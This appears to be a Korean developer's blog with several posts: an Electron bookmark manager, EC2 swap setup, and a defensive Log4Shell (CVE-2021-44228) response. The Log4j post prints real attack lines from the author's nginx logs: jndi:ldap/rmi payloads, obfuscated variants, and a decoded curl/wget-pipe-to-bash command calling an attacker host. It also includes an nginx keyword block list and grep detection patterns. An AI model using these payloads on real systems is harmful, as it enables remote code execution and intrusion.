0%

즐겨찾기 관리 프로그램을 만들다.

예전 포스팅 에서 공개했던 프로그램을 완성했다.
사실 완성이라고 하기엔 뭐하고 쓸만할 정도가 되었다.

예전에 공개한 버전에서 UI를 조금 바꾸고 변경했다.
아직 미흡한 부분이 남아있지만…
SML을 만들면서 몇 가지 목표가 있었고, 그 중 한가지가 내가 필요해서 만들었으니 나에게 맞는 기능을 만들어 써보자 였다.

사실 프로그래머 개발자 이런게 뭐 별거인가?
그냥 내가 필요해서 만드는게 그 직업군이지.

무튼 그래서 내가 만들었고, 현재 잘 쓰고 있다.
노션에 정리할 때 보다 더 편리한거 같다.

공개는 Github 에 해뒀고, 다운로드는 릴리즈 페이지에서 가능하다.

소스코드는….정리좀 하고 올릴 예정이다.
너무 하나에 몰아두고 짜서 보기 어렵다…
뭐 누가 보겠느냐 싶겠지만 그래도 추가 기능 개발 및 향후 내가 만들 웹 서비스에 연동을 위해서 몇 가지 사전 작업을 해둬야 해서…

곧 리펙토링 및 코드 정리가 끝나면 오픈할 예정이다.
참고로…
난 Javascript 라는것을 이번에 처음 공부하며 써보기 시작했다.
주로 Java 백엔드만 짜다가 제대로 공부해서 해보는 중이다.
뭐 이것도 사실 제대로 공부 안하고 일단 부딪쳐 보자 식으로 해본거지만….

Node를 공부하다가 일렉트론을 생각하게 되어 잠시 샛길로 빠져 만든 것이다.
그래서 코드가 조잡하고 그럴 수 있다. (밑밥?)
일렉트론…좀 더 제대로 공부하면 더 좋은(?) 결과를 낼 수 있었지만…
이번 SML은 사실 구동과 기능의 정상 작동에 포커스를 맞춰서 잘못 개발했을 수도 있다.

여담이지만 이걸 마지막으로 일렉트론은 접어둘 생각이다.
왜냐하면 곧 메인 개발을 해야 할 부분이 Node쪽이라서 그렇다.

정리하자면…소스코드는 정리하고 공개할 예정이며…

코드 오픈의 이유는 필요한 사람이 직접 추가 기능을 개발해서 쓰라는 의미로 오픈하는 거니 코드의 품질이나 개발 방법론은 잠시 접어두자

뭐로 만들고 구성이 어떻게 되나?

일렉트론으로 만들었고, 화면단은 Bootstrap 5를 이용해서 만들었다.
원래는 지금 공부하는 리엑트를 적용해서 해볼까 했는데 이거 적용해서 하려면 너무 오래 걸릴거 같아서 그냥 부트스트랩으로 만들었다.
그리고 jQuery를 이번에는 쓰지 말자라고 결심을 해서 쓰지 않았다.
덕분에 바닐라.js ? 그냥 순수한 자바스크립트를 바닐라라고 부르는 것도 이번에 처음 알았다 ‘_’;;

디비쪽은 SQLite를 사용했다.
이런 작은 프로그램에서 쓰기엔 최고다.

백업과 복원을 위해서 JSON 형식으로 처리했다.

그 외 특이한 기술은 없고 Select 처리를 위해 치리오? 발음을 몰라서… cheerio를 사용했다.
알람창 이쁜거를 위해 sweetalert2를 사용했다.

기능은?

간단하다.
핵심 기능은 링크 데이터의 CRUD 이게 끝이다.
부가 기능으로 페이징과 검색정도?

데이터 등록과 수정은 비슷하니 굳이 서술하지 않겠다.
다만 태그 기능에 대해 약간 부연 설명을 하자면…

위는 데이터 추가할 때 나오는 사진인데 모달 하단에는 태그를 위한 두 개의 선택 옵션이 있다.
하나는 기존에 추가된 태그를 선택하는 select 이고, 하나는 새로운 태그를 추가할 때 쓰는 input 이다.
이거 두개를 통합해서 사용하는 select 를 찾아봤는데… 죄다 jQuery 의존이 강하게 엮여있거나 vue, react 등으로 개발된 것들이었다.

내가 직접 개발하기엔 시간도 오래 걸리고 해서 결국 저렇게 뻘짓으로 개발해뒀다.
혹시 더 좋은 라이브러리나 방법이 있다면 공유 해주시면 감사하겠다.

백업의 경우 현재 SQLite에 저장된 모든 데이터를 JSON 파일로 뽑아서 특정 경로에 저장한다.
Mac의 경우 자신의 홈디렉토리에 SML 디렉토리에 저장한다.
그런데 윈도우는 내가 안써봐서 이상한 경로에 저장하는 듯 한다.

appData였나 무튼 추가하면 알림에 어느 경로에 저장되는지 표시는 뜨게 해두었다.

윈도우 문제

윈도우를 내가 안써서 잘 모르겠다.
일렉트론 빌드로 윈도우용 exe를 만들었고, 설치할 때 c:\program files 인가 경로로 깔면 권한인가 뭐 때문에 정상적으로 안되는거 같았다.
그래서 테스트 환경에서는 d:\ 에 새로운 경로를 만들고 거기에 설치를 하니 잘 되었다.
그런데 설치 완료 후 아래와 같이 윈도우 디팬더에서 트로이잔이 나온다.

왜 이런지 나도 잘 모르겠지만….
왠지 개발자 서명이 안되어서 그런게 아닐까 싶다.

그래서 github Readme 에도 찝찝한 사람은 직접 빌드해서 쓰라고 명시해뒀다.
그리고 조만간 코드 오픈도 되니까 뭔가 문제가 있는 코드가 있었다면 메일이나 다른 채널로 알려주지 않을까 싶다 ㅎㅎ

그래서 결론은?

이번 프로그램을 배포 후 몇 가지 건의를 받은 것도 있는데 이 부분은 개발을 해서 버전 업을 할 예정이다.
거기까지 해두고 내가 만들려던 서비스를 만들어갈 예정이다.
뭐 이미 너무 아이디어가 공개되어 있어서 오픈할까 했지만 그래도 직접 만든 후 오픈하는게 좋지 않을까 싶어서 언급을 안하려 한다.

깃허브 릴리즈 노트 같은것도 이쁘게 꾸며보고 싶었지만…
시간이 부족해서….
그냥 여기까지만 해두려 한다.

해당 프로그램이 유용했다면 Github의 Star 한번 부탁드리고, 의견이나 버그 등이 있다면 메일로 부탁한다.
이 프로그램이 유용했기를 바라면서 다음 버전으로 인사드리겠다.

요새 시끄러운 log4j2 공격…

요새 Log4J2 취약점 때문에 난리다.
사실 이 이슈가 알려진건 좀 되었다. (물론 일주일 전에 오픈된거로 알고 있긴 하지만…)
보안쪽은 이런 큰 문제가 터지면 바로 대응해야 한다.
조금만 늦게 대응하는 순간 비트코인 마냥 추락하는 거대한 손실을 껴안을 수 있다.
개발쪽은 역시 부지런해야 살아남는듯….

사설이 길었다.
이번 이슈에 대해서는 많은 사람이 적었기에 따로 언급은 안하겠다.
정 궁금하신 분은 이곳 KISA 에서 확인해보기 바란다.

나는 현재 개인적으로 돌리는 서비스가 있는데 Spring boot 기반으로 되어 있다.
저 이슈보자마자 바로 문제가 생기겠구나 싶어서 확인했다.
처리는 금방 했는데 블로그에는 좀 늦게 올리게 되었다.


어떻게 공격이 들어오는가?

일단 불법적으로 들어오는 것들을 조사하는 로그 서버에서 이런 결과가 들어있었다.

동작 방식은 사실 대충 알고, 자세하게 동작하는 방식은 popit 게시글을 참고하자.
(여담인데 난 원리까진 모르고 어떻게만 공격해서 들어오는지 까지만 알기에… 공격 기법이나 원리에 대한 설명은 무지해서 적을 수 없다….)

내가 이해한 바로는 log.info 나 log.warn() 등을 통해 로깅을 할 때 메세지에 다음과 같이 적을 때 발생한다.

log.error(“Req Access UA : “ + req.getHeader(“X-Api-Version”) );

위는 예시이다.
저런식으로 로그를 남기게 해서 공격자의 코드를 수행할 수 있게 한다는거 같다

jandi:ldap://공격자-ip/http443path

위 사진을 보면 알겠지만 저렇게 ldap 뒤에 공격자의 주소를 넣어서 처리하는 식으로 들어온다.


그래서 어떻게 처리했는가?

뭐 별거 없다.
그냥 log4j 버전업을 했다.
사진을 못찍었는데 나의 경우 spring boot starter 의 logging 이었나 이게 2.11 버전을 쓰고 있었다.

그래서 그냥 버전을 올렸다.
Gradle 을 사용하는데 아래와 같이 한줄 넣어줬다.

1
2
3
4
5
6
7
...
ext['log4j2.version'] = '2.15.0'

dependencies {
....
}
....

위와 같이 한줄 넣고 gradle을 새로 받아오니 log4j의 버전이 2.15로 되었다.
이렇게 대응이 완료되었다…. ㅡ,.ㅡ;;

그리고…이건 공격 대응이 될지 모르겠지만…
nginx 앞단에서 특정 키워드로 접근하는 것을 막는 부분에 다음과 같이 추가해줬다.

1
2
3
...
~*(j_spring_security_check|wps|cgi|asmx|jndi|dns|securityscan|ldap) 1;
...

이렇게 하면 서비스 접근 전에 nginx에서 컷 시킬수 있지 않을까 싶다. (안될수도?)
근데 이렇게 하니 로그 서버에 저런 비 정상적인 접근은 더 이상 들어오지 않았다.

단지 위와 같이 무지성으로 대입해서 들어오는 것들이 많을 뿐…

그리고 하단의 참고 항목을 보면 Cisco talos 차단 권고 항목에 ip가 있다.
여기에 등록된 ip 전부 밴 처리 해뒀다.


정리 및 참고 그리고 부록…

정리

근데 개인적인 생각인데 User Agent 를 로깅 안하면 영향은 없지 않을까? (개인적 무지성 판단….)
얼른 대응해서 큰 피해 안나게 조심하자…


참고

래브라도 취약점 점검 도구-한글
LG CNS의 차단 대응 및 안내 -한글
Spring 공식 레퍼런스 대응 -영문
Log4J 악용탐지-영문
Cisco talos 차단 권고-영문


부록 - 악용탐지

위의 참고 중에 악용 탐지 gist 항목을 보면…
/var/log 폴더 및 모든 하위 폴더의 압축되지 않은 파일에서 악용 시도 에 대한 검색을 할 수 있는 grep 명령어를 제공한다.

한번 돌려봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fuck-hack@ip-999-444-999-444:~$ sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
/var/log/nginx/access.log.1:51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
/var/log/nginx/access.log.1:45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
/var/log/nginx/access.log.1:195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo} HTTP/1.1" 200 396 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.1:167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass}"

=====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/nginx/access.log.3.gz:45.155.205.233 - - [11/Dec/2021:03:21:49 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.3.gz:1.116.59.211 - - [11/Dec/2021:19:13:15 +0900] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 162 "-" "curl/7.58.0"
/var/log/nginx/access.log.3.gz:195.251.41.139 - - [11/Dec/2021:21:13:15 +0900] "GET / HTTP/1.1" 200 396 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:02:26:12 +0900] "GET / HTTP/1.1" 200 7417 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 302 0 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET / HTTP/1.1" 200 7418 "https://3.36.159.204/$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:08:26:47 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
/var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:09:42:21 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 134 "-" "Kryptos Logic Telltale"
/var/log/nginx/access.log.2.gz:45.155.204.20 - - [12/Dec/2021:10:01:33 +0900] "GET /?x=${jndi:ldap://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com/a} HTTP/1.1" 400 800 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:02:36:55 +0900] "POST /?&token=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "POST /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET / HTTP/1.1" 200 7637 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "PUT /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:22:31:20 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}"
/var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:23:27:05 +0900] "GET / HTTP/1.1" 200 7669 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzMuMzYuMTU5LjIwNDo0NDMpfGJhc2g=}"

====

fuck-hack@ip-999-444-999-444:~$ sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;
51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila"
45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80" "${jndi:dns://45.83.64.1/securityscan-http80"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443"
195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo HTTP/1.1" 200 396 "${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo" "${${::-j${::-n${::-d${::-i:${::-l${::-d${::-a${::-p://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo"
167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClas

저기서 base64로 인코딩된 부분을 풀어보니

(curl -s 195.54.160.149:5874/3.36.159.204:80||wget -q -O- 195.54.160.149:5874/3.36.159.204:80)|bash

참고 url 중에 차단 권고에 나온 시도가 많았다.
조기에 발견해서 다행인거 같고…정말 침입시도가 무수했다…
모두 대응 처리를 해뒀다.


부록 - 래브라도

래브라도 에서 log4j 취약점 점검 도구를 제공하고 있다.
그런데 난 사용해도 이상하게 검출이 안되었다;;

사용법은 저기 나와있겠지만…
프로젝트 디렉토리를 난 해당 프로젝트의 root 디렉토리로 잡아보고, jar 파일만 있는 곳에서도 해봤는데 검출 결과가 0이었다.
그 때 2.11 사용했었는데…
아마 user agent를 다른 방식으로 기록해서 그런가…
무튼 정 찝찝하면 한번 돌려보는 것도 좋은 방법일듯…


부록 - IP 처리

LG CNS와 talos 글에 나온 ip를 차단하였다.
난 저 아이피에 class 대역 차단으로 더 막아뒀다.

171.25.193.0/24
185.220.0.0/16

이 두놈이 좀 많았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
109.237.96.124 1; #log4j attacker
185.100.87.202 1;
213.164.204.146 1;
185.220.101.146 1;
171.25.193.20 1;
178.17.171.102 1;
45.155.205.233 1;
171.25.193.25 1;
171.25.193.77 1;
171.25.193.78 1;
182.220.100.242 1;
185.220.101.39 1;
18.27.197.252 1;
89.234.182.139 1;
104.244.79.6 1;
80.71.158.12 1;
45.137.155.55 1;
89.249.63.3 1;
61.19.25.207 1;
195.251.41.139 1;
131.100.148.7 1;
46.105.95.220 1;
170.210.45.163 1;
5.157.38.50 1;
114.112.161.155 1;
221.228.87.37 1;
191.232.38.25 1;
164.52.53.163 1;
45.130.229.168 1;
133.130.120.176 1;
152.89.239.12 1;
163.172.157.143 1;
205.185.115.217 1; #log4 attacker

개발을 하다보면 쌓이는 링크들…

개발을 하다보면 개발자의 성지 stackoverflow나 다른 사람의 기술 블로그를 많이 보게 된다.
그리고 유용한 것은 즐겨찾기에 저장하거나 페이지 탭에 그대로 두게 된다.

문제는….
브라우저에서 제공하는 즐겨찾기는 몹시 불편하다.
제한적인 카테고리에 일정 수가 넘어가면 찾는데 어려움의 문제가 기다린다.

두 번째로 페이지에 그냥 두면…

이런 대 참사가 발생한다.

그래서 이번에 노드 공부하다가 빠져버린 일렉트론으로 직접 개발해보기로 했다.
일단 1차 개발용 버전은 아래와 같다.

이거 개발하면서 JS의 await / async 에 대해서 좀 어느정도 배우게 되었다.
나름 학습 효과가 있었던 미니 프로젝트였다.

개발시간은…. wakatime 이 정도?

근데 저거 벳지 클릭하면 404 나온다…
처음 써봤는데 신기하다 ㅎㅎ
오늘 기준으로 일주일 동안은 11시간을 쏟았군…

솔직히 이야기 하면…
낮에 윈도 피시에서 주식창 띄우고 거래 보다가 개발하고…
밤에는 유튜브랑 넷플릭스 보면서 하고…
좀 더 집중했으면 더 빨리 만들 수 있었지 않을까….(유튭 스타 홍구랑 넷플 지옥, 아케인, 등등…너무 재미있어서 포기 못하겠다…)

무튼 1차는 개인용으로 쓸만하다.
이걸 좀 UI로 이쁘게 꾸며보고 조금 더 사용성을 높여서 배포해봐야겠다.

이름은 뭐로 할까 하다가….할거 없어서 SML (Save My Link) 로 지었다.
Github에 공개 레포는 팠는데…
아직 코드는 업뎃 안했다…
ㄹㅇ 발로짠 코드 + JS 뉴비 스타일 이라서 손 볼게 좀 많다…

보이는가…main.js에서만 작업한 흔적이…

일단 이거는 그냥 취미로 만든거라서 편의 기능 위주만 추가할 예정이고, 일렉트론에 대한 부분은 업데이트 안할 예정이다.
그리고 일렉트론으로 좀 해본 결과 이것도 공부하려면 시간이 걸리고 귀찮아서 더 이상 일렉트론에 학습 시간을 투자하는 행위는 안하려 한다…

그래서 일단 잘 돌아가면 끝 이라는 마인드로 개발했다.
사실 최종 목표는 Node.js로 작은 웹 서비스랑 연동 처리하는게 목표라서 일렉트론은 이제 Bye…

SML에 기술적인 내용이랑 관련 문서는 조만간 정리해서 올릴 예정이다.
2주전인가 25일날 모빌리티쇼 다녀온거 영상이랑 사진 정리할게 많아서…

혹시 21년 모빌리티쇼에 못가셔서 아쉬운 분은 개인 유튜브에 올렸으니 관심있으신 분은 ㄱㄱ

SML 공식 문서 및 배포 소식으로 돌아올 예정…

최근 AWS의 EC2 인스턴스가…

현재 베타 테스트로 진행 중인 AWS의 EC2 인스턴스가 자꾸 상태이상 1/2 상태로 되면서 접속이 불가능했었다.
간헐적으로 일어나는걸 보면 뭔가 문제가 좀 심각한 거 같았다.

AWS를 잘 쓰는 타입은 아니라서…
클라우드 워치인가 모니터링 툴을 봤는데 CPU 사용률이 갑자기 치솟다가 멈춰 버리는 구간이 보였다.

정확히 표현하면 내가 운영하는 서비스에 로그가 기록되는데, 일정 시간 마지막 로그를 보면 그 CPU 사용률이 튄 뒤부터 로그가 끊겼다.
그렇다고 내 서비스가 CPU 파워를 엄청 쓰는 것도 아니고…접속률은 베타라서 그렇게 많지 않다.

커널 로그인가에서 메모리 관련 에러를 찾아봤지만 없었다. (근데 메모리가 범인…)

도데체 뭐가 문제인가 하다가 이것저것 검색을 하던 도중 나랑 비슷한 증상을 가진 글 을 보게 되었다.
여기에 나온것과 같이 메모리 문제였다.

근데 나 같은 경우 위에서 나온 명령어는 동작하지 않았다.

내 환경은 Ubuntu 20.04 LTS였다. (물론 지금 베타테스트 환경은 또 다르다…)
위 운영체제를 기준으로 작성하겠다.

Swap 생성

  1. sudo fallocate -l 10G /swapfile
  2. sudo chmod 0644 /swapfile
  3. sudo mkswap /swapfile
  4. sudo swapon /swapfile
  5. free -m

위 명령어를 풀어서 설명하면…

  1. 스왑 파일을 만드는 것 (난 대략 10Gb 정도 잡았다.)
  2. 권한을 준다
  3. 스왑 생성
  4. 스왑을 실행
  5. 메모리 할당 확인 (아래 확인 -> 숫자는 임의로 적음 참고만..)
1
2
3
              total        used        free      shared  buff/cache   available
Mem: 968 485 90 0 393 330
Swap: 10239 260 9979

만약 뭔가 꼬이거나 스왑을 풀어야 할 경우 다시 아래대로 해준다.

Swap 해제

  1. sudo swapoff -v /swapfile
  2. sudo rm /swapfile
  3. free -m

보충 설명은 아래…

  1. 스왑 해체
  2. 스왑 파일 제거
  3. 스왑이 풀렸는지 확인해본다

정리

EC2가 갑자기 내려가는 경우는 다양한데, 이번처럼 CPU 파워를 막 치고 가다 다운되는게 메모리 부족때문인지는 몰랐다.
사실 내가 잘못 로직을 짠게 있나 싶었는데…
무튼 이 뒤로 한 4일 갔는데 아직 증상이 나타나진 않고 안정적으로 잘 되고 있다.

찾아보니 스왑은 아무래도 램이 아닌 하드 또는 SSD를 쓰는 거라서 퍼포먼스에서 이슈가 발생할 수 있다.
하지만 베타테스트 운영이나 개발 목적으로는 스왑을 써도 충분한거 같다.

나중에는 결국 하드웨어 스팩을 돈으로 올려야 하겠지만 말이다. ㅎㅎ

Node.js에서 request를 사용하여…

현재 베타테스트 중인 내 프로젝트의 일부 기능을 Node.js로 변환하는 중이었다.
아직 Node를 학습하면서 붙이는 거라서 좀 익숙하지 않았다.

일단 진행하면서 겪은 문제의 포인트는 아래와 같다.

  1. 특정 사이트의 크롤링을 진행한 다음 해당 내역중에 필요한 데이터를 html 파싱 처리.
  2. 테스트 환경이 Node.js로 구축한 서버의 특정 url로 접근 시 1번 기능이 호출된다.
  3. 문제는 2번에 나온 url 호출을 하면 1번의 작업이 끝나고 그 결과를 json으로 뱉어야 하는데 {} 반환.

난 거의 Java로만 개발을 많이 했던 사람이라 (물론 python도 많이 썼지만 그건 좀 과거라 패스하고…) 순차적인 흐름에 익숙한 사람이다.
일단 코드로 보자

1
2
3
4
5
6
7
8
9
10
